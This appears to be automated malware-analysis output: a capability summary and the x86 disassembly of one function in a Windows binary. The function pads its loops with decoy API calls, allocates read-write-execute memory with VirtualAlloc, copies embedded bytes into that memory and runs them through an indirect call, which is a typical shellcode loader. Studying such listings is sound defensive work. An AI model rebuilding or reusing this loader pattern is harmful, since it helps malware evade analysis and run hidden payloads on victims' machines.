Function at 0x403310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get disk size
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x455d28
push eax
mov dword fs:[0], esp
sub esp, 0xc34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x403340
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x40335a
inc esi
cmp esi, 0x73f04bd
jl 0x403340
cmp dword [0x45fbec], 0x400
jne 0x403404
push ebx
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x10]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BackupWrite]
xor edx, edx
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x2c], ebx
mov word [ebp - 0x3c], dx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00403ad4
push ebx
call fcn.00403e98
add esp, 0xc
push ebx
push ebx
push ebx
call fcn.00404161
add esp, 0xc
push ebx
call fcn.00404069
add esp, 4
push ebx
call fcn.0040425d
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403ac0
fstp st(0)
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x28], 8
jb 0x403404
mov eax, dword [ebp - 0x3c]
push eax
call fcn.00403d55
add esp, 4
cmp dword [0x45fbec], 0x93
jne 0x403479
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
xor eax, eax
btr dword [eax], 0
push ebx
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push ebx
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
push ebx
call fcn.00403c39
call fcn.00403ab7
push ebx
call fcn.00403c18
add esp, 0xc
push ebx
call fcn.00403c2e
add esp, 4
push ebx
push ebx
call fcn.00403e77
add esp, 8
call fcn.00403300
push ebx
call fcn.004042d9
add esp, 4
mov eax, dword [0x45fbec]
mov edx, dword [0x45ad34]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x460a28], edx
mov dword [0x45fbec], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x45f67c], eax
mov esi, 0x1692e
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4034b0
cmp dword [0x45fbec], ebx
jbe 0x403553
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x460a28]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x45f67c]
mov byte [edx + esi], cl
cmp dword [0x45fbec], 0x490
jne 0x403548
push 0
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
lea ecx, [ebp - 0xc40]
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x440]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x38]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
inc esi
cmp esi, dword [0x45fbec]
jb 0x4034d3
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
xor esi, esi
mov edx, dword [0x45fbec]
add edx, esi
cmp edx, 0x8d
jne 0x40358f
push ebx
lea eax, [ebp - 0x440]
push eax
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x38681
jl 0x40355b
call fcn.00403280
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x4035af
call edi
cmp esi, 0x207142
jg 0x4035c0
inc esi
cmp esi, 0x67d12
jl 0x4035a5
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4035e0
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x45f67c], eax
inc esi
cmp esi, 0x674bd
jl 0x4035c2
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45fbec], 0x86
jne 0x403637
push 0
call esi
push 0
lea ecx, [ebp - 0x840]
push ecx
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x45fbec], 0xf
jne 0x403664
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
sub dword [ebp - 0x10], 1
jne 0x403602
call fcn.00402f90
call dword [0x45f67c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret